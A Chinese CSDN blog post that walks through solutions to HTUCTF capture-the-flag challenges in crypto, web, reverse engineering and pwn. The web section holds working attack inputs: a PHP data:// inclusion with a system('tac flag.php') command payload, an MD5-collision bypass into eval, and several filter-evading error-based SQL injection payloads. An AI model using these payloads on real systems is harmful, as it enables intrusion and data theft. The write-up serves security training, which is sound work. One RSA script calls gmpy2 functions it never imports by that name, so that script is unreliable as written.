HTUCTF 部分Crypto web reverse pwn题解

已于 2024-05-07 13:05:36 修改
阅读量1.1k 收藏 16
点赞数 31
文章标签： python
于 2024-05-06 00:09:08 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/2302_77519243/article/details/138472405
版权
文章讲述了密码学中的凯撒密码、兔子密码和三层栅栏密码解密，以及RSA加密的实践应用。同时介绍了webdebugme平台上的RCE漏洞利用，PHPeval函数，SQL注入技巧，以及一道涉及栈溢出的完形填空题目。
摘要由CSDN通过智能技术生成

题目

cryto

密码_签到

在这里插入图片描述
凯撒密码加密，偏移量2
在这里插入图片描述

guoql的大冒险

两个文件，一个flag，一个嘤嘤嘤
在这里插入图片描述
嘤嘤嘤：
在这里插入图片描述
flag：
在这里插入图片描述
根据嘤嘤嘤提示，其中涉及到兔子密码解密，还有三层栅栏密码解密
我们栅栏密码先解密,网址：链接: https://ctf.bugku.com/tool/railfence
在这里插入图片描述
得到的标准型和w型都进行解密试一下
我们进行兔子解密，网址链接: https://www.sojson.com/encrypt_rabbit.html
但是兔子解密需要密码，我们再回去看一下密钥是什么
嘤嘤嘤文件出现的guoql最像密钥，用它解密，标准型不行，w型可以
但是浏览器报错，询问大佬才知道是双感叹号
在这里插入图片描述
HTUCTF{WELCOME_TO_2024_HTUCTF!!!}

RSA

在这里插入图片描述
下载一个rsa文件，给了n，c
还有一串代码

from secret import flag
from Crypto.Util.number import *
from gmpy2 import *

def s2n(string):
return int(string.encode("utf-8").hex(),16)


m = s2n(flag)

def gen():
p = getPrime(1024)
q = int(next_prime(p))
n = p*q
phi = (p-1)*(q-1)
e=0x10001
while(gcd(phi,e) != 1):
p = getPrime(1024)
q = next_prime(p)
n = p*q
phi = (p-1)*(q-1)
return (n,e,phi)


n,e,phi = gen()
c = pow(m,e,n)

with open("./RSA.txt","w") as file:
file.write(f"{n=}\n{c=}")
file.close()

n 已经给出，但我们没有 p、q 或 phi 的值。然而，由于 e 是与 phi 互质的，我们可以尝试从 n 分解出 p 和 q，然后计算 phi，最后找到一个与 phi 互质的 e。

由于 e 被设置为 0x10001（即 65537），所以e就是65537
给了e,n,c直接脚本附上

from Crypto.Util.number import *
from gmpy2 import *
e = 65537
n=13537955325943141870650656463377877226000856713880378052819971295601583120572999181135327252560173628504441650209600956588888654692730258021468203731633564456320702182716201559529305801321208768592447431768755006697576175605633550691134435984810143553534063785889476981537378683655773060114131666866705292303527414004067093501240523672966063857328550862056561147295981393518223945130917551303291903172739086430349941157878531387432240469557432940754926560852088636315088334226575861621029427206269605364251739523806783530643621155738548099121966512764230022472692074575597298634955512919441477050124014781122452569251
c=9116573555150167735475213863527576755487000232681926241292159933719472942329797183603952489829008333003878789264963887213309453442494821268537665993894594384619630467825049506141329290715543283047059681424461149462166799882454956163322095978758268309450855683534694033199534205229312491639727065486895811367057859656104559179542990817294573961502500538288828650402491896878916684580391047416487260129400456300791679225571935467839976336761425233153688732639934355399905350498020952506618500235543905542073406258996924947175272226257099009623627146998630069111140252994134093968201915119611802455537412960883988852108
sn = gmpy2.isqrt(n)
q = gmpy2.next_prime(sn)
p = n // q
phi = (p-1)*(q-1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m))

HTUCTF{b3086dbe-c26b-4c8d-9148-8aa23cf2c760}

web

debugme_签到

在这里插入图片描述
查看源代码得到
在这里插入图片描述

easy_rce

在这里插入图片描述
在这里插入图片描述
get传两个数，其md5值要相等，其本身不能相同
s878926199a 和 s155964671a，成功绕过
在这里插入图片描述
在这里插入图片描述
我们再传cmd来执行eval函数
读取到flag文件，得到flag
在这里插入图片描述

在这里插入图片描述

evalPHP

在这里插入图片描述
提示说这题是文件包含
在这里插入图片描述
传参fille内容要是htuctf
再传post执行函数
我们这里用php伪协议进行读取：
伪协议是php中支持与封装的协议总和，包含很多类型，常见的有:

  1. file:// — 访问本地文件系统
  2. http:// — 访问 HTTP(s) 网址
  3. ftp:// — 访问 FTP(s) URLs
  4. php:// — 访问各个输入/输出流（I/O streams）
  5. zlib:// — 压缩流
  6. data:// — 数据（RFC 2397）
  7. glob:// — 查找匹配的文件路径模式
  8. phar:// — PHP 归档
  9. ssh2:// — Secure Shell 2
  10. rar:// — RAR
  11. ogg:// — 音频流
  12. expect:// — 处理交互式的流

我们先用?file=php://filter/convert.base64-encode/resource=HTUCTF，行不通
读取有问题，可能被过滤了，我们使用data伪协议进行读取

?file=data://text/plain;base64,SFRVQ1RG

传post，这里用tac，cat不行

cmd=system("tac flag.php");?>

在这里插入图片描述
得到flag

easy_SQL

有一个登录页面
在这里插入图片描述
题目说是简单的sql注入，我们爆破一下，默认账号是admin，进行弱密码爆破
在这里插入图片描述
得到密码是admin，登录显示成功，但是什么也没有出现
在这里插入图片描述
抓包sql注入看回显,使用报错注入，构造payload，查库–users

username=1'/**/aandnd/**/updatexml(1,concat(0x7e,(database()),0x7e),1);#&password=admin

在这里插入图片描述
查表-users

username=1'/**/aandnd/**/updatexml(1,concat(0x7e,(seselectlect/**/group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema=database()),0x7e),3);#&password=admin

在这里插入图片描述
查字段，爆出了两个字段

username=1'/**/aandnd/**/updatexml(1,concat(0x7e,(selselectect/**/group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_schema=database()/**/aandnd/**/table_name='users'),0x7e),3);#&password=admin

在这里插入图片描述
查看user里面有什么，有三个用户

1'/**/aandnd/**/updatexml(1,concat(0x7e,mid((seselectlect/**/group_concat(user)/**/from/**/users),1,31),0x7e),1);#&password=admin

在这里插入图片描述

查password字段信息，得到半边flag

username=1'/**/aandnd/**/updatexml(1,concat(0x7e,mid((seselectlect/**/group_concat(passwoorrd)/**/from/**/users),67,96),0x7e),1);#&password=admin

在这里插入图片描述
查找下半边flag，将查询数据往后移几位，因为MID() 函数用于从文本字段中提取字符，所以在92位之前都是可以的

username=1'/**/aandnd/**/updatexml(1,concat(0x7e,mid((seselectlect/**/group_concat(passwoorrd)/**/from/**/users),88,96),0x7e),1);#&password=admin

在这里插入图片描述
拼接一下得到完整的flag
HTUCTF{5c63ca70-e684-499e-9cb3-149a2b948c6d}

revese

ez_xor

在这里插入图片描述
附上异或脚本：

v8 = [28,6,12,20,69,18,19]
v9 = [11,1,31,47,9,81,11,73,15]
s = "tryw1th"
v11 = "s1mplex0r"

# 将 key 转换为整数列表
s_int = [ord(char) for char in s]
v11_int = [ord(char) for char in v11]

# 执行按位异或操作，并将结果转换为字符
flag1 = ""
for i in range(len(s)):
    flag = v8[i] ^ s_int[i]

    flag1 += chr(flag)

print(flag1)

# 执行按位异或操作，并将结果转换为字符
flag2 = ""
for i in range(len(v11)):
    flag = v9[i] ^ v11_int[i]

    flag2 += chr(flag)

print(flag2)

倒车工程

在这里插入图片描述

# -*- coding: utf-8 -*-
"""
倒车技术，我们是专业的! --2024.4.25 EMT倒车公司开发
"""

import time

# 倒车安全性校验
def compare_password(input_password):
    numbers = [0x48,0x54,0x55,0x43,0x54,0x46,0x7b,0x57,0x65,0x31,0x63,0x30,0x6d,0x65,0x5f,0x74,0x30,0x5f,0x72,0x33,0x76,0x65,0x72,0x73,0x65,0x5f,0x65,0x6e,0x67,0x31,0x6e,0x65,0x65,0x72,0x31,0x6e,0x67,0x7d]

    hex_password = [ord(char) for char in input_password]

    if hex_password == numbers:
        return True
    else:
        return False

# 倒车主系统
def main():
    password = input("请输入倒车密码：")
    if compare_password(password):
        print("密码正确！欢迎使用倒车系统。")
        print("自动倒车中......")
        time.sleep(5)
        print("倒车完成!请不要忘记你的密码：{}，欢迎下次使用".format(password))
    else:
        print("密码错误！请重试。")

if __name__ == "__main__":
    main()

这段函数:当我们输入一个密码字符串时，函数会将其转换为ASCII码值的列表，并与预定义的numbers列表进行比较。如果两个列表相同，函数返回True，表示密码正确；否则返回False，表示密码错误。
言外之意：就是解这段16进制的ascii码

numbers = [0x48, 0x54, 0x55, 0x43, 0x54, 0x46, 0x7b, 0x57, 0x65, 0x31, 0x63, 0x30, 0x6d, 0x65, 0x5f, 0x74, 0x30, 0x5f, 0x72, 0x33, 0x76, 0x65, 0x72, 0x73, 0x65, 0x5f, 0x65, 0x6e, 0x67, 0x31, 0x6e, 0x65, 0x65, 0x72, 0x31, 0x6e, 0x67, 0x7d]

flag = ''.join(chr(num) for num in numbers)

print(flag)
# HTUCTF{We1c0me_t0_r3verse_eng1neer1ng}

猜数字_签到

在这里插入图片描述
二分法，多试几次，每次取一半
在这里插入图片描述

pwn

ez_nc_签到

在这里插入图片描述
nc指令连一下就行了
在这里插入图片描述

环境？环境！

在这里插入图片描述
根据题目意思，应该是检查我们的pwn环境，不会配置的看这里 https://blog.csdn.net/m0_56161093/article/details/122914917

在这里插入图片描述
都提示我们了，补全运行就行
python3 exp.py
在这里插入图片描述

完形填空

在这里插入图片描述
在这里插入图片描述
这题比上一题多一个空，让我们求栈溢出
hint：
这是一道栈溢出题目 你的任务也很简单 只需要看出溢出量并完成完形填空即可(不明白可以搜搜看）
在这里插入图片描述
只看红框，我们分析一下红框的内容
buf数组的大小是32字节，但read函数调用试图从标准输入（文件描述符0）读取0x64（即100）字节的数据到buf中。但是buf只能容纳32字节的数据，
查看buf内容，注释中提到的“Saved regs: 8”表示保存了8字节的寄存器值
需要将这一部分加上去，32+8=40
在这里插入图片描述

登录到root系统，最后可以cat flag了
在这里插入图片描述
在这里插入图片描述

小果粒粒橙
关注
  • 31
    点赞
  • 踩
  • 16
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
兔子加密解密程序
02-17
兔子加密解密程序
2024年首届茂名市网络安全比赛（茂安杯）初赛部分题目，有crypto、misc、reverse、pwn和moblie的题
08-08
适合ctf爱好者或者参加相关茂名市网安比赛的选手观阅，题目简单蛮适合拿来练手的。
蓝帽杯CTF2021 pwn解
qq_39948058的博客
08-26 462
一、slient 一道原题，直接付出脚本进行打 from pwn import * EXCV = context.binary = './chall' e = ELF(EXCV) if args.I: context.log_level = 'debug' def pwn(p, index, ch): # open shellcode = "push 0x10032aaa; pop rdi; shr edi, 12; xor esi, esi; push 2; pop
ctf(pwn) canary保护机制讲解 与 解密方法介绍
半岛铁盒的博客
03-03 2203
Canary保护机制 canary的意思是金丝雀，来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀如果井下的气体有毒，金丝雀由于对毒性敏感就会停止鸣叫甚至死亡，从而使工人们得到预警。 在函数开始时就随机产生一个值，将这个值CANARY放到栈上紧挨ebp的上一个位置，当攻击者想通过缓冲区溢出覆盖ebp或者ebp下方的返回地址时，一定会覆盖掉CANARY的值；当程序结束时，程序会检查CANARY这个值和之前的是否一致，如果不一致，则不会往下运行，从而避免了缓冲区溢出攻
CTF Crypto/MISC 在线工具网站
热门推荐
weixin_44145820的博客
03-03 1万+
在线解码 Unicode编码解码： 示例 f1ag{si11yb0yemmm&#125 ...
CTF 各种密码加密解密总结
H4ppyD0g的博客
07-16 7001
栅栏密码：http://www.atoolbox.net/Tool.php?Id=777
ctf-tools：CTF工具集合
02-04
ctf-tools：CTF工具集合
ctf-wiki：CTF Wiki的新起点！ 快来加入我们，我们需要您！
02-04
CTF维基 欢迎使用CTF Wiki ！ CTF （Capture The Flag）是从DEFCON CTF开始的， DEFCON CTF是计算机安全爱好者之间的竞争性游戏，最初于1996年举办。 CTF涵盖了广泛的领域。 随着安全技术的不断发展， CTF挑战的难度...
crypto在web的使用-附件资源
03-05
crypto在web的使用-附件资源
python之matplotlib （5 散点图和柱状图）
这是C.L 的博客，欢迎大家学习浏览！！
08-20 340
附：colormap对照 '%.f'%y‘是标注数据的形式设置：保留两位小数，数据来源于y数组。也可以这样写：f'{y:.2f}',在它前面的参数是标注的位置。也可以是一个数组，表示每个点的颜色不同。ax.bar()中y参数是直方图的高度，其中facecolor是条形图的颜色，而edgecolor是除了条形图内的颜色。也可以是一个数组，表示每个点的大小不同。参数来指定一个colormap，用于映射颜色数组到颜色。
【Python使用】嘿马头条项目从到完整开发教程第1篇：简介,1. 内容【附代码文档】
一诺的博客
08-16 658
本教程的知识点为:简介 1. 内容 2. 目标 产品效果 ToutiaoWeb虚拟机使用说明 数据库 理解ORM 作用 思考： 使用ORM的方式选择 数据库 SQLAlchemy操作 1 新增 2 查询 all() 数据库 分布式ID 1 方案选择 2 头条 使用雪花算法 （代码 toutiao-backend/common/utils/snowflake) 数据库 Redis 1 Redis事务 基本事务指令 Python客户端操作 Git工用流 调试方法 JWT认证方案 JWT & JWS & JWE
Python之函数练习题
weixin_43325374的博客
08-20 934
写一个函数，输入字符串为参数，并返回以逗号分隔的各种排列形式，如“{ABC，ACB，BAC，BCA，CAB，CBA}"。21.编写函数，显示A~B(含)范围中，所有位上的数字都属于集合[1，3,4,8,9]的数字。20.编写函数，输入字符串，日期和时间存储为“MM/DD/YYYYHR:MIN:SEC”格式，输出从“01/01/YYYY 00:00:00”开始计时的秒数。4、编写函数，输入英文句子(字符串)，输出句子中元音的个数和辅音的总个数。5、斐波拉契数列是:1，1，2，3，5，8，13…
CSS的:defined伪类：选择已定义元素的新选择器
2401_85743969的博客
08-17 640
在CSS中，伪类用于选择元素的不同状态或行为。:defined伪类是CSS4的一个特性，用于选择已经在文档中定义的元素。
湖北师范大学-Python程序设计-3.1 中国古代数学问题(project)
柠檬喝汽水的博客
08-19 562
唐朝时，一斗酒的斗所采用的度量是小斗，也就是4斤，当时一斤取值范围大约在500多到600克左右，换算一下可知唐朝一斗酒的重量取值范围在2000克到2400克左右。有一座八层宝塔，每一层都有一些琉璃灯，每一层的灯数都是上一层的二倍，已知共有 765 盏琉璃灯，计算并输出每层各有多少盏琉璃灯。输出不超过 n 且满足条件的物品个数 m，如果有多个解，则分行输出，每行一个解；第二行输出 2 个浮点数，依次为小鼠和大鼠打洞的距离，单位为尺，保留小数点后 1 位数字。一个浮点数 f，表示李白的酒壶原来有 f 斗酒。
python爬虫入门（六）之 xpath 解析
2302_79795489的博客
08-16 651
XPath（XML Path Language）是一种用于在 XML 文档中查找信息的语言。html是xml的一个子集（XML 允许用户创建自己的标签来描述数据。例如，<book><title><author>是 XML 标签，可以用于描述书籍信息）。Xpath可以用来遍历 XML 文档的节点、选择节点，或对节点进行条件筛选，实际上它就是靠节点之间的关系去查找内容。
JAVA中的PrintStream
qa3629723的博客
08-20 912
PrintStream是Java中的一个重要的输出流类，它继承自FilterOutputStream类，用于处理字节输出流。以下是关于PrintStream的详细介绍、代码例子和运行结果。PrintStream的字符集编码 PrintStream默认使用平台默认字符集编码。重定向System.out和System.err PrintStream允许将标准输出流和错误输出流重定向到其他输出流。PrintStream是Java中一个功能强大的输出流类，它简化了字节输出操作，提供了丰富的打印方法。
【Python机器学习】NLP的部分实际应用
最新发布
weixin_39407597的博客
08-20 208
自然语言处理在现实中非常多的应用
Python之模块
sys19897976523的博客
08-19 1162
Python之模块
阿里云CTF比赛详细解析：Web、Pwn、Misc、Reverse、Crypto挑战总结
"阿里云ctf比赛writeup涵盖了多个网络安全领域的挑战，包括Web安全、Misc、Pwn、Reverse和Crypto。这些挑战旨在测试参赛者的综合技能，涉及代码漏洞利用、逆向工程、加密算法解析等多个方面。" 在阿里云举办的CTF...
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值